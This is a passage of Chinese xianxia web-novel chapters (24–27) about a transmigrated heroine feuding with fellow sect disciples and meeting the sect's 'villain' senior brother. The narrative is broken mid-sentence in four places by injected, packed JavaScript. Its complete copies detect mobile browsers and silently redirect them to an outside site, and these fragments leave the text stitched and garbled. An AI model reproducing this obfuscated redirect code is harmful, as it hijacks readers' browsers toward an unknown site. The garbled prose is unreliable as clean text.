祝昭昭笑眯眯地:“据我所知,像你这种输了后挑战又再输的人,按规矩是有惩罚的。要不你去接受惩罚也行?” 云珈在旁边适时出声:“惩罚是在囚魔塔当狱卒三个月。” 囚魔塔塔如其名,是剑宗专门关押抓到的魔族或魔修的地方,其中不乏一些残暴嗜血的大魔。哪怕不能伤人,他们散发出的杀气和塔中环境也足够让资历尚浅的弟子恐惧胆寒。 刑煜果然变了脸色。 几经挣扎后,他终于选择屈服:“寅时开始是么?” 祝昭昭笑得见牙不见眼。 “没错,寅时开始。” 24. 学习时间到~ 回到雾鸣山的时候,日头已经西沉。 筋疲力尽的祝昭昭吊着一双死鱼眼走到房间门前,刚准备推开,身旁突然传来一道略带疑问的女声—— “昭昭?” 是白月书。 深吸口气推开门,祝昭昭和她打招呼:“月书师姐好。” 一听这声音就察觉到不对,白月书皱眉:“昭昭,你怎么了?” 居然问怎么了。 她今天没有去上课吗? 祝昭昭有点奇怪,但还是回答了白月书:“今天实战课上我和刑煜打了一场,所以现在有点累。” “回房间休息一会儿就好。” “你怎么能说只是有点累。”战斗经验丰富的白月书一看就知道祝昭昭现在状况到底怎么样,“灵力耗尽,身体力竭,你如今已经是强弩之末了。” “这不是休息一下就能解决的事。” 说着从空间袋取出好几个药瓶,白月书唰唰几下从各个瓶子里倒出丹药然后配比好。 速度之敏捷,手法之熟练,一看就是经常打架打到红蓝条全空攒出来的应对经验。 祝昭昭:擦汗猫猫头·jpg 纤长的手朝祝昭昭一伸,白月书语气严肃:“快吃。” 哭笑不得的祝昭昭照做。 一把丹药下肚,祝昭昭虽然差点被噎个半死,但身体状态确实好了不少。恢复精神劲的她甚至感觉眼前景象都明亮许多。 用力眨眨眼,她和白月书道谢:“谢谢月书师姐,我感觉好多了。” 白月书闻言,原本紧张的神情终于放松下来。 她摸摸祝昭昭脑袋:“我是你师姐,谢什么。” 祝昭昭笑得眉眼弯弯。 拉起祝昭昭的手带她往旁边树林走,白月书边走边问:“所以你刚才说今天的实战课上你挑战了刑煜?” “嗯。”感受到白月书手心传来的温度,祝昭昭望着路旁的月清花,“其实一开始掌教是让我和罗毅切磋的,但因为刑煜一直啰啰嗦嗦的太讨厌了,所以我就和掌教提,把切磋对象改成他。” 白月书听完点头表示赞同:“总是喋喋不休的人确实容易招惹是非。” “但你这行为也实在太过鲁莽。”她有些生气,“再怎么说刑煜都已经是金丹初期的修为,加上剑修间的战斗本就很容易过火,你贸然挑战他,就没想过受重伤该怎么办吗?” “可身为剑修,不就是要永远迎难而上吗?” 祝昭昭抬头,直视白月书双眼:“换做是月书师姐你,如果遇见总是挑衅你、讥讽你的人,你会任由他一直欺负你吗?” 白月书几乎可以说是不假思索:“当然不会!” 她说完,空气安静下来。 过了一会儿,白月书低声开口。 “所以赢了吗?” 她问。 “当然。” 祝昭昭语调高昂,答得飞快,还皱着脸对白月书比划了一下拳头:“我把他揍得落花流水,大家都笑他竟然被筑基揍得服服帖帖。” 努力板着的脸听到这终于彻底破功,白月书一把搂过祝昭昭:“你呀。” 感受着来自白月书身上的淡香,虽然因为她抱得太重被勒得半死,祝昭昭还是没有挣扎,任由她动作。 毕竟被人抱着的感觉还算不错。 一路说笑着,两人不知不觉走到平日加练的场地。远远就瞧见正在专心修炼的秦之衡。祝昭昭先是怔了怔,紧接着想起什么:“月书师姐,你今天没有去学堂吗?” 不然怎么今天新生班实战课动静闹得那么大都不知道。 白月书有些意外:“你怎么知道?” 选了颗大石头示意祝昭昭坐在自己身旁,她看向不远处的秦之衡:“我与之衡今日同掌教告了假,整日一直在此修炼。之后算准了你下学的时间,才抽空去找的你。” “谁料一到就见你一副力竭模样,把我吓得不轻。” 说着又观察了祝昭昭一会儿,她再次翻出个瓷瓶倒药:“补气温养的药再吃一颗吧。” 很想告诉白月书自己已经好很多,不需要再吃了。可看着递过来的小小丹药,对上白月书殷切的眼神,祝昭昭犹豫片刻,还是接过吃了。 感受到丹药在体内发挥效力,祝昭昭双手往后抵在石头上:“月书师姐你们经常告假来这里修炼一整天吗?” “当然不是。”白月书一脸‘这孩子怎么会问这种问题’的表情,“我们告假来此修炼是少数情况,也是有原因的。” 祝昭昭听得好奇:“所以你们为什么突然告假过来?” “因为要趁今天努力修炼,以保持最佳状态。”白月书的语气忽然难掩兴奋,“只有这样,明天的我们才是最完美的我们。” 什么明天?什么我们才是最完美的我们? 望着白月书不知何时闪动起狂热的眼睛,祝昭昭再去看不远处的秦之衡时,也渐渐品出点不对。 一掌击得水潭炸老高,他被回落的水淋了个透心凉,整个人却表情都不带变一下,擦干净脸上水后又继续修炼。 这什么情况? 直觉眼前这两人非常不对劲,祝昭昭准备提桶跑路:“月书师姐,我今天确实有些累到,现在想回去休息。” “就先不打扰你和秦师兄修炼了。” 然而祝昭昭甚至没能从大石头上起身。 因为白月书一把拍上她肩膀:“怎么会呢,你方才不是吃了好些丹药吗?” 她笑眯眯地:“为了让你恢复得快些,最后一颗丹药是我特意选的高阶回灵丹。你此刻应该精力饱满,神思清明才对。” “怎么还会累呢?” 看着白月书脸上核善的微笑,祝昭昭瞳孔地震。 她就说刚才那颗药的效果好得过分,原来是这个原因吗? 所以喂她吃了药就又是散步又是聊天的,也是在等药效发挥是吗? 祝昭昭:发生了什么我好害怕。 努力让自己镇定下来,祝昭昭试图换个理由:“难怪我感觉现在精神不少。但是月书师姐,我突然想起我还有些事要回去做。” “这事很重要,我现在必须……” “之后我与你一起做。” 白月书另一只手也拍上祝昭昭肩膀:“若实在紧急,我们可以现在回去做完再来。” 嘶…… 祝昭昭立刻换理由:“掌教留了课业。” 白月书丝毫没停顿:“做完再来。” “课业非常难。” “我与之衡一起陪你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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云珈贼兮兮地笑:“刑煜平时行事太高调,很多人又打不过他。如今他好不容易吃了瘪,没人会放过看他笑话的机会。” “加上实战课后一天是掌教留给我们的自习课,今天所有人的时间都很充足。所以……” 很快理解话里意思,祝昭昭和云珈对视一眼,各自在对方眼中瞧见同盟者般的恶作剧笑意。 “所以刑煜那家伙在哪?”环视课室一周,祝昭昭没找到人。 云珈把糖嚼得咔咔响:“估计差不多到了。” 她话音刚落,院门处突然传来一阵嘈杂响动,刑煜不耐烦的话音夹杂其中。 “来了来了。”云珈打鸡血一样坐直。 不止是她,其他原本还在各自做各自事的众人也都纷纷互相提醒身边人往门口看。 然后很有默契地开始往课室外走。 临路过祝昭昭身旁时,有人对祝昭昭爽朗地笑,有人直接对她竖起大拇指;更有甚者,直接给她来了一句‘小师妹,我就喜欢你这样的爽快人’。 毫不掩饰的赞美之意都快把祝昭昭淹没了。 对上云珈和齐青青含笑的目光,祝昭昭嘴角也弯起一丝弧度。 站起身,她朝两人伸出手:“走,我们也去长长见识。” 25. 反对修仙界996! 眼看着从教室走出来的人越来越多,刑煜满脸不耐地挥开罗毅伸过来的木牌:“拿远点,别让我看见这东西!” 罗毅讪讪退至一边。 被刑煜小团体如丧考妣的气氛引得心情大好,云珈朗声:“罗毅那么贴心帮你递牌子还被你骂,刑煜你这家伙真是的,一点都不懂感恩。这样会让罗毅心寒的。” 她笑得见牙不见眼:“是不是,罗毅?” 重重冷哼一声,罗毅把头扭到一边:“小人得志。” 云珈见状脸上笑容更大,甚至直接往罗毅边上凑:“说来木牌长什么样,挂刑煜脖子上之前给我看看。毕竟金丹输给筑基的不少,输给筑基还要挂牌子昭告天下的,我更是第一次见。” “这牌子太有纪念意义了,不看不行。” 说着已经走到离罗毅数步远的距离,云珈正准备探头观摩,下一秒,一道凌厉剑气突然从她身后刺向她。 齐青青眼瞳骤缩:“云珈!” 千钧一发之际,一缕区别于凌厉剑气的温柔灵力挡住了攻势,流水般钻入剑气中。 随着那缕温柔灵力的入侵,凌厉剑气迅速扭曲塌缩,最后猛然炸开。 而一切的发生,不过电光石火间。 所有人都被这意外震惊。 “刑煜,喜欢暗中偷袭是因为正面迎击,你永远不如对手是么?”收回施放灵力的手,祝昭昭不紧不慢:“哪怕吃了那么多次瘪,你还是学不乖。” “学堂内禁止私斗,违者重罚。需要我再提醒你一次?” 话到最后语调变得冰冷,祝昭昭缓缓在云珈身旁停下脚步。 她静静看着刑煜。 被云珈挑起的怒火在对上祝昭昭平静到诡异的目光时消失殆尽。按捺住无法抑制的,从心底泛起的寒意,刑煜移开视线。 祝昭昭也在那瞬间恢复笑脸。 她朝罗毅伸手:“云珈说的也是我好奇的。把牌子给我看看如何?” 犹豫着,罗毅看向不远处的刑煜。在得到他的默认后,一言不发地把手里的牌子递给祝昭昭。 祝昭昭当然知道两人刚才的小动作。 但她要的就是这效果:“金丝楠木,好手笔。就是字怎么和木牌一个色,这样大家怎么能看清楚写的是什么。” 祝昭昭从空间袋取出早就准备好的金色颜料:“我来帮你上个色。” 毛笔上沾满金色颜料,祝昭昭抬手就要落笔。 却在下一秒,被刑煜抓住手腕。 他强压怒火:“你给我适可而止。” “适可而止?”祝昭昭挑眉,“我倒觉得这是合理建议。” 她说着,手下多了力气准备继续往下落。 刑煜当然不会同意,他死死稳住手臂不让祝昭昭动。 两股相反的力量互不相让地对峙着,颤抖传递到笔上,金色墨汁摇摇欲坠。 祝昭昭也在对峙里失去耐心。 她眯起眼:“你放是不放。” 刑煜态度同样坚决:“不放。” “很好。”祝昭昭笑,深吸一口气,“大家听好了,刑煜还有——” “我放!” 不管‘还有’后面是什么,已经丢过几次脸的刑煜无论如何都不敢再让祝昭昭说下去:“我现在就放!” 话到最后带了破罐破摔的意思,刑煜恨恨地松开手。 祝昭昭满意点头:“这才对。” 手腕获得自由,祝昭昭提笔就画。不多时,几个字全被涂上金灿灿的颜色。 边上云珈惊叹:“昭昭,你画得好棒。” 祝昭昭得意:“过奖过奖。” 假模假样谦虚完,她抬头看向刑煜:“来,我给你戴上。” 不该有颜色的字已经上了色,也不差最后这一戴牌子。被彻底磨光脾气的刑煜梗着脖子任由祝昭昭把木牌挂在自己胸前。 只是临抬头前,他咬牙怒瞪祝昭昭:“就趁现在得意吧,你的好日子很快就会结束了。” 翻来覆去只有这句。 真是…… 祝昭昭笑得更开心:“嗯,我等着。” * 目送刑煜等人上刑般拖拉着步子走到院外,祝昭昭一行人跟随其他同门找了个遮阳的树底坐下。 但她本意并不想来。 只是今早修炼一结束,白月书就捧着她的手千叮咛万嘱咐让她今天必须去上学。言辞之恳切,态度之真诚,让她想拒绝都找不到时机。 尤其是当白月书边说话,那双永远对人冷淡的纤长凤眼还边亮晶晶地盯着自己。 从没见过她这个架势的祝昭昭最后还是屈服了。 带着一种上学如上坟的心情到了学堂,祝昭昭的心情好容易因为刑煜今天的挂牌宣言轻松一点,紧接着就被他趁机搞小动作伤害云珈的不老实行为彻底弄糟。 尽管这事以自己全方位胜利告终,祝昭昭依旧高兴不起来。 通宵修炼带来的疲劳加上不爽的心情,让祝昭昭对要求白月书和秦之衡加练的慕行秋的嫌弃程度达到了顶峰。 这个大反派,上半场教师弟师妹996做卷王,下半场自己提着剑把半个修真界杀光。 他有干过一件好事吗?! 祝昭昭:我恨。 思忖着,伴随院子外刑煜一句接一句‘刑煜是筑基后期的手下败将’,祝昭昭突然感觉肩膀被人拍了一下。 云珈的声音在她耳边响起:“昭昭,你昨天究竟是怎么赢的刑煜?他最后那招可是已经到了金丹中期的程度,但你应对的那招还在你能力范围之内吧?” “你到底怎么做到的?” 要说云珈问的问题也是其他人最关心的问题。原本都在各自聊天的众人很默契地安静下来,等着祝昭昭的答案。 怎么做到的? 当然是因为作为天玄山历代圣女中能力之强,史无前例的一位,她祝昭昭拥有能看穿万物命门的眼睛。 祝昭昭默默盯着自己衣袍。 但如果仅仅只能做到这个程度,还配不上历代最强这个名号。要知道强如能精准解读每条天道信息的她师父闵月,能力在历代圣女中也只能算是上游。 反观祝昭昭,她的眼睛强就强在不仅能看穿万物命门,只要她愿意,她可以看见所注视万物的一切,包括他们的过去和未来。 但到此为止,这份能力仍不算顶尖。 在此基础上,祝昭昭甚至能从那些被她看见的,无数个可能发展的未来里,准确锁定那个会继续的未来—— 换句话说,只要祝昭昭想,她就可以锁定必然发生的未来。 这变态到可怕的,百分百的正确率,才是祝昭昭被称之为天玄山历代圣女最强的原因。 金丹中期又如何?对拥有这近乎逆天能力的祝昭昭来说,击败同阶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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看着眼前表情懵懂的众人,一种使命感在祝昭昭心底油然而生:“对我们来说,最应该做的不是一味修炼,而是仔细建立和体会与身体的联系。只有做到可以准确感知身体的变化后,在此基础上,才谈勤勉修炼。” “适当的才是最好的!” 声音已经到了很近的地方。 旧恨未平新仇又起,脑海里浮现出上周目慕行秋的模样,祝昭昭恨恨磨牙:“动不动让人加练的人最该被拉去守魔界挖矿!” 空气突然安静下来。 落针可闻的气氛太诡异,祝昭昭很快发现不对。 她皱眉看向离自己最近的云珈:“怎么了,你们为什么不说话?” 眼睛僵硬地上抬又慢吞吞地落回祝昭昭脸上,向来喜怒皆形于色又心直口快的云珈,竟在此刻结巴起来:“嗯……因为我觉得……努力修炼对修士来说好处很多,我们应该勤加修炼。” “云珈说得对。”齐青青边帮腔,边借着挽碎发朝祝昭昭眨眼睛。 哪怕反应再慢,这会儿也该察觉到不对。想起今早来时白月书的殷殷叮嘱,祝昭昭突然意识到什么。 下一秒,含笑的清朗男声在她身后响起。 “乖巧有礼,勤奋好学。” 男声一字一顿,语气轻巧得仿佛遇见了什么非常有意思的事。 “月书,这就是你说的那位小师妹?” 26. 你怎么没事讽人呢? 祝昭昭浑身一震。 不会错的。 这个声音,她化成灰都能认出来。 难怪白月书秦之衡昨晚打鸡血似的练了个通宵,难怪今早白月书让她无论如何都要过来上学。 她早该想到的,能让这两人都那么积极的除了修炼,只有可能是为了见那个人。 慕行秋! 所以她才说人就不该太累,否则脑子都不转了。 祝昭昭:心好累,想摆烂五分钟。 尽管早已暗戳戳在心底翻了无数个白眼,但仍不妨碍祝昭昭转身的瞬间,脸上表情变得不解又懵懂,仿佛真的对身后情况一无所知。 而她在嫌弃与无知两种表现间的切换过分丝滑完美,让围观全程的202叹为观止。 这就是前十位面维护员的业务能力吗? 202:今天又学到好多。 反观祝昭昭这边,从转过身后就一个眼神都没分给其他人,她目光径直落在白月书身上:“月书师姐,你怎么来了。” 既然要装无知,那就贯彻到底咯。 祝昭昭:计划通·jpg 被点到名的白月书从怔仲里回神:“……师兄今日来学堂,我们便带他四处看看。” 她刚才其实有被祝昭昭的阴暗暴论震惊到。 但惊吓过后仔细回味,她却越想越觉得比起之前那个似乎永远只会笑,除了笑,再难看出其他情绪的祝昭昭,刚才的她更加真实可爱。 会怒会笑会抱怨,这才是真正有鲜活气的人不是吗? 白月书:怎么办,师妹好可爱,更喜欢了。 “原来是这样。”祝昭昭这才‘注意’到剩下的人,“所以大家都是老生班的师兄师姐对不对。” 直接被简单粗暴地划进‘老生班的师兄师姐’一帮。秦之衡闻言,整个人都慌了。 不是,明明大家是一起遇见的,为什么他的存在感就那么低啊?? 怀着五味杂陈的心情,秦之衡伸手指了指自己:“昭昭,还有我。我是秦师兄啊。” “对对。”祝昭昭笑得很开心,“还有秦师兄。” “和你。” 目光落在角落的刑煜身上,祝昭昭冷下脸:“你不是应该在门口吗,为什么在这里?” 被问到也不接话,刑煜一言不发地往身旁人身后靠。被他当做肉盾的男人也刻意往前走了两步,把刑煜挡在更里面。 顺着两人动作移动目光,祝昭昭对上挡住刑煜的人的视线。 这就是刑煜敢嚣张跋扈的理由么。 祝昭昭若有所思。 以为眼前的小女孩是怕了自己,邢子山冷哼一声收回目光,继而略带责备地瞪了身后的刑煜一眼。 刑煜很委屈。 表哥,她根本不是表面上看着那么好欺负的啊! 然而想说的话再多,这会儿也没他张嘴的份。低头看了眼还挂在胸口的牌子,刑煜本想把它拿下来,却在准备动手的时候,突然想起祝昭昭刚才冷眼注视自己的样子。 算了,就这么挂着吧。 放下手,刑煜选择不去看这份耻辱的证明。 “月书。” 被无视了半天的慕行秋终于含笑:“小师妹来宗门多长时间了。” “满打满算半个月。” 被慕行秋点名,白月书紧张又开心:“从我与之衡下山那天算,其实并不很久。” “如此。” 慕行秋颔首:“短短半月就即将突破金丹期,小师妹确实天赋绝佳。” 半个月突破金丹? 这是什么概念? 此话一出,所有人震惊了。 尤其是刑煜,他此刻看着祝昭昭的表情已经和看见异次元生物差不多。 瞬间被周围人行注目礼,祝昭昭表面神色自如,实则心里已经把慕行秋吊起来抽打无数遍。 谁让你这时候说出来的?! 脸上笑容有些僵硬,祝昭昭望着慕行秋:“都是宗里大家教得好。” “是么?” 闻言像是听见什么有意思的事,慕行秋眉眼微弯:“我却以为凭小师妹如此绝佳天赋,不需苦练,修为也能一日千里。” “原来仍旧需要在修行上下苦功夫么。” 最后一个字落下,慕行秋朝祝昭昭笑得更有礼貌。 他讽刺我!! 身为宗门大师兄,他竟然当着这么多人面讽刺我!! 脸上笑意微僵,祝昭昭顿时只觉一股火直冲脑门。 要不是被202死命拦住,她今天非要和慕行秋battle到底不可。 生气之余,祝昭昭又觉得这种话从慕行秋嘴里说出来很合理。因为本来从设定上看,他就是货真价实的灭世大反派。 大反派嘴里能吐出什么人话。 选择性把白月书之前说的‘雾鸣山里外事务都是大师兄在打理’这句抛在脑后,祝昭昭恶狠狠在心里怒扣慕行秋的印象分。 扣成负数! 祝昭昭:记小本本。 直觉两人间的气氛不对,白月书出来打圆场:“没错,大师兄。昭昭这段时间为了追赶大家的修炼进度,每天都很努力地修炼,甚至主动要和我与之衡一起加练。” “就在昨天,她还与我们一起修炼至天明。” 她看着祝昭昭的眼神,带着不熟练的掩饰:“对不对,昭昭?” 少见地,祝昭昭愣在原地,没有第一时间接话。 慕行秋则颔首轻笑。 然而他刚想说些什么,身后却有人比他更快开口。 “天赋异禀又如何,刻苦修炼又如何。若是连最基本的孝悌忠信礼义廉耻都无,此人又能有何建树?” 是邢子山。 说着冷笑一声,他继续道:“倒不如说若遍地都是这种人,修真界怕是早就天翻地覆。” 这话意有所指。 他在责怪祝昭昭不懂得饶人处且饶人的道理,让刑煜挂牌喊口号这事太过分。 邢子山语毕,除了少数几个和祝昭昭相熟的人,所有视线不约而同地落在了她身上。 白月书是最先反应过来的。 她皱眉,态度颇不赞同:“子山师兄此言差矣。” “如果你是想责怪昭昭让刑煜挂牌喊口号此事不妥。那么当着白掌教的面,两人赌约在前,刑煜败走在后,挂牌一事本就是他两人都同意的,昭昭也只是让刑煜履行赌约,你怎能用如此严厉的话教训她?” 没想到向来不插手这种事的白月书竟然会当着那么多人的面反驳自己,邢子山先是一怔,紧接着脸上极快闪过一抹被人当众下了面子的羞恼之意。 但到最后,恼意消失在眼底,他选择不去看一脸不快的白月书:“不论如何,既然身为同窗,那得饶人处且饶人难道有错?” “阿煜赌约输了不假,但这位昭昭小友——” 邢子山说着,怒瞪祝昭昭:“她执意让阿煜挂牌站在院门外喊如此屈辱的口号,难道就一点错没有吗?!” “你……!”白月书想反驳,却找不到话。 不怪她嘴拙,实在是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280509|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本就少与人斗嘴,邢子山一套道德大棒又挥舞得过于流畅,让她根本找不到理由回怼。 可是她又见不得祝昭昭被欺负。 祝昭昭还那么小,又那么可爱,善解人意还修炼努力,邢子山怎么能欺负这么好的小姑娘? 感受到主人心意,白月书腰间本命剑躁动起来。声音之大,吓得离她最近的秦之衡脸色都变了。 毕竟真要动起手来,哪怕邢子山修为仅在慕行秋之下,也同样很难在她手下讨着好。 反观邢子山这边,饶是依旧站得很稳,实际上控制不住微蜷的手早已出卖了他。 就在气氛无比紧绷之时,有人动了。 在所有人的注视下走到白月书身旁,祝昭昭轻轻握住她的手。 “子山师兄。” 无视白月书带着疑问的视线,祝昭昭笑眯眯地:“可以这么称呼你吗?” 邢子山‘哼’了一声,算是默认。 拉住欲动的白月书,祝昭昭也不恼:“你说我就算赢了,也不该让刑煜站在门口喊口号,否则就是得理不饶人,是心胸不宽广?” “难道不是么?” 邢子山双眉倒竖,怒瞪祝昭昭,又在注意到她边上脸色越来越难看的白月书时缓和神色:“哪怕赌约一事是阿煜有错在先,你也不该真的让他站在门口喊口号。” “堂堂七尺男儿在大庭广众之下喊出如此屈辱的话,成何体统?!” 有错在先、不该真的、堂堂七尺男儿…… 如果不是顾及人太多,祝昭昭真的会当场笑出来。 但声音难免带了笑意:“原来在子山师兄眼里,金丹期修士接受筑基期修士挑战是正常的,失败后大喊不公平是正常的,无视筑基修士消耗,再次挑战也是正常的——” “但一而再再而三地挑战失败后,仅仅只是被对手要求挂牌喊个口号就是不正常的。” 越说脸上笑意越压不住,祝昭昭眉眼弯弯:“子山师兄,在明知道刑煜有错在先的情况下,还能冠冕堂皇说七尺男儿不该如何如何。这到底是七尺男儿这个词有问题,还是你对七尺男儿的定义太过广泛?” “而你能当着那么多人的面言之凿凿地说出这种话,那我是不是就能理解为你,乃至整个邢家,都可能奉行这种道理?” “你再说一遍?!” 邢子山突然的暴喝声让空气一瞬死寂。 祝昭昭却依旧只是笑。 她甚至笑得更开心了:“子山师兄怎么还一下子大喊大叫起来,好吓人。” “你这么生气,是因为你也知道自己刚才说的话不对,但为了维护刑煜才硬是闭着眼睛胡说八道吗?” “否则不该发那么大火才对。” 看着已经额角爆青筋的邢子山,祝昭昭弯起唇角:“知道对错但故意包庇同族,或者不知道对错因为家族奉行此种教条。子山师兄选一个?” 深知今天无论怎么答都免不了被人背后嘲笑,邢子山气得眼睛都快喷火。 三言两语就把话彻底说死,根本不给人翻盘的机会。 好狡猾的丫头! 这边邢子山火冒三丈,那边祝昭昭偏偏像是根本不知道他已经快气疯了,又或是根本不在乎他到底什么情况。 语气轻快地仿佛在闲聊,她盯着邢子山,一字一句:“你这样,是绝对配不上你仰慕之人的。” 她竟然知道自己喜欢白月书。 脑中最后一根弦在此刻彻底崩断,邢子山眼瞳骤缩。 下一秒,他五指成爪,直接抓向祝昭昭。 27. 你敢打我?! 众人的惊呼声里,祝昭昭甚至头都没动,只是翻起眼看着头顶的攻击。 又是这出。 脸皮薄又爱吵架,超不过就急眼。表弟急完表哥急,急来急去最后还都搞突袭发火这套。 这何尝不是一种另类的家族传承? 边对邢家家风产生合理怀疑,祝昭昭边在脑海里叮嘱已经开启高强度防御机制的202:“一会儿记得把所有人关于这件事的记忆消除。” 202哼着小曲:“好嘞。” 然而就在一切都按照祝昭昭的预估有序进行时,意外发生了。 视线范围落下阴影,她被人轻轻拥入怀中。 属于白月书的浅淡香气飘入鼻间,本该让人安心的感觉却让祝昭昭眼瞳骤缩。 防御机制不能覆盖后加入的人,白月书会受伤! 从邢子山攻击到现在终于露出意料之外的无措表情,祝昭昭咬牙在心里厉声:“202,防御机制再覆盖一次!” “不行啊主人。” 202反应比祝昭昭更大:“防御机制再覆盖至少需要十秒,但根据测算,邢子山的攻击七秒之后就要到了!” “怎么办啊主人,如果被直接攻击到的话,女主重伤的可能性是百分之七十!” 气得在心里破口大骂邢子山无数遍,祝昭昭死死盯着白月书胸口的薄甲。 她猜到邢子山会恼羞成怒对自己动手,想过如何在极快的攻击时间内,卡中最恰当的时机使用系统道具—— 她甚至连事情结束后如何收尾都已经安排好。 可千算万算,她怎么都没算到为了不让自己受伤,来不及防御的白月书竟然会选择直接替自己硬抗攻击。 有防护法器又怎样,近距离挨那么强的一道攻击还是会受伤啊! 有必要做到这种程度吗? 死死抓着白月书的衣服,祝昭昭有那么一瞬间真的很想扯着她衣领骂她一顿。 但现实并没有给她机会,因为在202的警告声里,邢子山的攻击来到了非常近的距离。 咬紧牙关,祝昭昭狠狠瞪了边上已经呆若木鸡的邢子山一眼。 所以她最讨厌的就是沉不住气的莽夫! 这笔账必记在他头上! 祝昭昭恶狠狠地:“202,开慢放。我要催动防御法器。” “知道了。” 情况紧急,202也顾不上太多,只是随口叨叨了一句:“但当着大反派的面催动高级防御法器会被他注意到的吧?” 祝昭昭浑没好气:“所以给我把记忆消除准备好!” 知道祝昭昭现在心情糟得不得了,不敢再废话,202调出慢放按钮。 然而有人比它动作更快。 悄无声息地,一点金色光芒凭空出现白月书头顶。 邢子山的攻击准确无比地落在那点金色上。 下一秒,金色猛然炸开,邢子山的攻击瞬间被全部反弹,以肉眼根本无法看见的速度直飞向他。 变故发生得太快,邢子山根本来不及反应,只能眼睁睁看着自己的攻击离自己越来越近。 所幸最后一刻刑煜催动了防御法器帮他挡了一下。 灵力直接击穿院墙,眼尾余光瞥见废墟冒起的尘土,邢子山额角冒出冷汗。 没人说话,空气一片死寂。 紧接着被一道不紧不慢的声音打破。 “君子动口不动手,更何况是面对刚入门的小师妹。” 慕行秋缓缓走到白月书与祝昭昭身旁。 散漫的目光落在面色微变的邢子山身上,他语气随意却暗含警告:“子山兄,此事你做法欠妥。” “昭昭,月书师姐,你们没事吧?!” 反应最快的是云珈。几步跑到两人跟前,她满脸焦急:“刚才月书师姐扑上去的时候都吓死我了,我还以为……” 说到一半终于想起来院子里还有别人,云珈抿了抿唇,最后小声:“所以你们没事对吧?” 她并未听到回答。 因为下一秒,祝昭昭直接朝邢子山冲了过去。 啪! 清脆的耳光声在院中炸响,祝昭昭直接给了邢子山一巴掌。 这巴掌力道之大,扇得祝昭昭手臂脱力颤抖,扇得邢子山嘴角渗出血丝。 所有人都被祝昭昭这突如其来的动作震惊,只有慕行秋眼中闪过一抹兴味盎然。 无视周围一切反应,祝昭昭盯着邢子山的眼神冷得像冰:“这巴掌,是替月书师姐打的。” 终于从巨大的震撼中回神,邢子山不可置信地盯着祝昭昭。 震惊过后,是直冲大脑的愤怒与羞耻。 再顾忌不上任何,目眦欲裂的邢子山直接召出了本命巨剑。 巨剑直指祝昭昭。 却也仅仅只能做到这样。 因为慕行秋走到了剑尖前。 伸手抵在剑身轻轻将之推至一旁,他语调悠闲:“此处许多弟子修为尚浅,子山兄还勿轻易动手。” 伴随着慕行秋的话音,白月书和秦之衡也走到祝昭昭身旁。 感受到肩膀处传来的,白月书手心的温度,祝昭昭视线自慕行秋背影掠过,直视面色阴沉,犹带不服的邢子山:“方才指责我时,你左一句‘不体谅旁人,无孝悌忠信礼义廉耻’,右一句‘就算刑煜有错在先,我得理不饶人亦有错’。” “然而冠冕堂皇的话说了一套又一套,到头来,你却才是最不体谅旁人,最没有孝悌忠信礼义廉耻的东西。” 直视邢子山已经快要可以吃人的目光,祝昭昭毫不掩饰自己的厌恶:“为了泄愤,你竟然能置周围所有修为比你低之人的安危于不顾,直接攻击、甚至祭出本命剑——” “如果不是月书师姐和慕行秋师兄,事情会变成什么样?” 祝昭昭语气近乎质问:“如果方才慕行秋师兄动作再慢些,你知道你那一击落在月书师姐身上,会是什么结果吗?” “你不配,被人称作师兄。” 最后一个字说完,空气中只剩下片刻不停的蝉鸣。 所有人无声交换着视线,看着邢子山的目光也从一开始的尊敬中带着仰慕变成了质疑。 对某些事的认知转变,有时候确实只缺一个挑明的人。 “好好好。” 察觉到周围目光的变化,邢子山气得语无伦次:“你是哪位长老座下弟子。” 什么意思。 修真界版‘我要告老师’? 在心底暗暗翻了个白眼,余怒未消的祝昭昭刚想回答。 有人却比她更快。 “子山兄问这个是想做什么?” 是慕行秋。 落在祝昭昭身上的目光温和,他道:“子山兄与其在意他人师从,倒不如多将心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280510|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思放在如何修心上。” “否则若是轻易就因一些其他人的惯常行径而大动肝火,很容易引来祸端。比如这次,你不仅随意插手其他弟子间的私事,更是意图伤害同门——” “三个月囚魔塔狱卒。” 对上邢子山的目光,慕行秋弯起眉眼:“子山兄记得回去准备行囊。” 这次,邢子山没有废话。 脸上略带复杂的神色一闪而过,邢子山没有对慕行秋发难。 重重冷哼一声,他拂袖准备离开。 祝昭昭也在这时候开口。 “你想知道我师从何人?” 她站得笔直,一字一句:“宗主。” “我是宗主掌筠的弟子。” 掌筠的弟子? 剑宗上下谁不知道掌筠从来不曾收徒,好不容易最近收的一个,也不是什么普通弟子。 而是亲传。 也就是说,这个狡猾嚣张又胆大包天的丫头,就是掌筠那个亲传。 早在听见‘宗主’两个字时就身形微顿,邢子山没有接话,快步离开。 